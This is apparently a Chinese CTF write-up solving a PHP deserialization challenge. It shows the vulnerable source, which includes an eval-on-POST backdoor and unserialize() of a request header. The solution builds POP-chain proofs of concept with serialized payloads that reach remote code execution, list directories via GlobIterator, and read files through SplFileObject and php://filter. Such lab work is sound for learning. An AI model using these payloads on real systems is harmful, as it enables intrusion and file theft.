<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
获取txt文件
注释说有一个txt文件
找到这个
coos和file都是可控的 可以用php原生函数读取这个txt文件
GlobIterator类
GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径,即不需要依赖glob://协议。
但是想要触发__toString()方法还需要利用
所以初步的poc为
class gBoBg
{
public $name = 1;
public $file = './*.txt';
public $coos = 'GlobIterator';
}
class w_wuw_w
{
public $aaa;
public $key;
public $file;
}
$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa = $a;
echo serialize($b);
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}
这里的传参方式也很独特
$_SERVER["HTTP_AAAAAA"]
是 PHP 中用于获取 HTTP 请求头部信息中名为 "HTTP_AAAAAA" 的值。在 Web 开发中,HTTP 请求头部信息包含了客户端(通常是浏览器)发送给服务器的额外信息,这些信息可以包括用户代理(User-Agent)、主机(Host)、来源(Referer)等。而 "HTTP_AAAAAA" 是一个自定义的请求头,其名称由开发者自行定义。
例如,如果客户端发送了一个请求,并且在请求头中包含了名为 "HTTP_AAAAAA" 的自定义信息,那么在 PHP 中可以通过
$_SERVER["HTTP_AAAAAA"]
来获取这个信息的值。需要注意的是,请求头部信息是由客户端发送给服务器的,因此服务器端的应用程序(比如 PHP)可以使用
$_SERVER
超全局数组来获取这些信息。
所以传参方式是这样的
成功获取txt文件名
h1nt.txt
查看一下
#用于check.php
key:qwertyuiopasdfghjklzxcvbnm123456789
move:2-4
显而易见是凯撒
但是还要看check.php的值
这里虽然过滤了key 但是没有过滤file的值
然后让没有echo$key
但是有echo$aaa
只要让两个值相等就可以echo
构造poc
<?php
class EeE
{
public $text;
public $eeee;
}
class cycycycy
{
public $a;
private $b;
}
class gBoBg
{
public $name;
public $file;
public $coos;
}
class w_wuw_w
{
public $aaa;
public $key = 2;
public $file = 'check.php';
}
$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa =& $b->key;
echo serialize($b);
注意这里的 两个变量相等要用指标符
使他们实际上指向同一个内存地址
(c语言学过忘的一干二净。。。。)
注意这里请求头这里有空格!!!!
然后得到check.php的内容
// 如果输入的字符串长度超过 10000,则终止程序执行并返回错误码 -1。这是一个长度限制的安全检查。
if(strlen($str) > 10000){
exit(-1);
}
// 定义了一个字符集,包含小写字母和数字。这个字符集是加密和解密过程中使用的。
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
// 定义了加密时的位移量,这里设置为 4。加密过程中,每个字符将会向左偏移 4 个位置。
$shift = 4;
// 定义了一个空字符串,用于存储加密后的结果。
$shifted = "";
// 使用 for 循环遍历输入字符串中的每个字符。
for ($i = 0; $i < strlen($str); $i++) {
// 获取当前位置的字符。
$char = $str[$i];
// 查找当前字符在字符集中的位置。
$pos = strpos($charset, $char);
// 如果字符在字符集中,则执行下面的代码;否则,直接将字符添加到结果中。
if ($pos !== false) {
// 计算字符在字符集中新的位置,使用的是凯撒密码加密算法。
// 这里,($pos - $shift + strlen($charset)) 表示将当前位置向左偏移 4 个位置,
// 然后取模 strlen($charset) 来确保结果在字符集的范围内。
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
// 将加密后的字符追加到结果字符串中。
$shifted .= $charset[$new_pos];
} else {
// 将字符添加到结果中。
$shifted .= $char;
}
}
// 返回加密后的结果字符串。
return $shifted;
得到加密规则
就是向左移动4位数
逆向一下就是要向右移动4位
爆破一下
def caesar_decrypt(ciphertext, shift):
plaintext = ""
alphabet = "qwertyuiopasdfghjklzxcvbnm123456789"
for char in ciphertext:
if char in alphabet:
shifted_index = (alphabet.index(char) - shift) % len(alphabet)
plaintext += alphabet[shifted_index]
else:
plaintext += char
return plaintext
# 测试
ciphertext = input("请输入需要解密的密文:")
plaintext = caesar_decrypt(ciphertext, -4)
print("解密后的明文:", plaintext)
fe1ka1ele1efp
得到这个
最后就是构造pop加传参
1 通过反序列化 w_wuw_w类 触发__destruct() 让$aaa=class gBoBg
从而触发gBoBg类里面的__toString()
2 gBoBg类里 让 name 值为空 file值存在 $aa=w_wuw_w() 从而触发w_wuw_w类里的__invoke()
3 w_wuw_w类 __invoke()里面克隆对象 触发EeE里面的__clone()
4 __clone()触发aaa属性 从而成功rce
poc
<?php
class EeE{
public $text;
public $eeee;
}
class cycycycy{
public $a;
private $b;
}
class gBoBg{
public $name;
public $file=1;
public $coos;
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
}
$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;
echo serialize($d);
payload
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}
非预期
看别人的wp h1nt.txt也是用原生类函数整出来的
我这里直接读取 虽然有回显但还是有乱码
我们用原生类函数读一下试试
用之前就了解过的 SplFileObject函数
但是之前那道题 有 echo
但是这题没有
就要用php伪协议读取
php://filter/convert.base64-encode/resource=h1nt.txt
poc
<?php
class gBoBg
{
public $name = 1;
public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';
public $coos = 'splfileobject';
}
class w_wuw_w
{
public $aaa;
public $key;
public $file;
}
$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa = $a;
echo serialize($b);
base64解密
这样就不会乱码了
然后再好好了解一下php原生类函数(用于反序列化的)
php原生类函数(用于反序列化的)
读取文件类(SplFileObject)
进行目录遍历
DirectoryIterator和FilesystemIterator都需要用glob伪协议
GlobIterator自带glob就不需要了
回到刚才那题直接用原生函数遍历跟目录
可以直接找到flag的名字
public $file = '/f*';
public $coos = 'GlobIterator';
然后再用SplFileObject查看
public $file = 'php://filter/convert.base64-encode/resource=/f1agaaa';
public $coos = 'SplFileObject';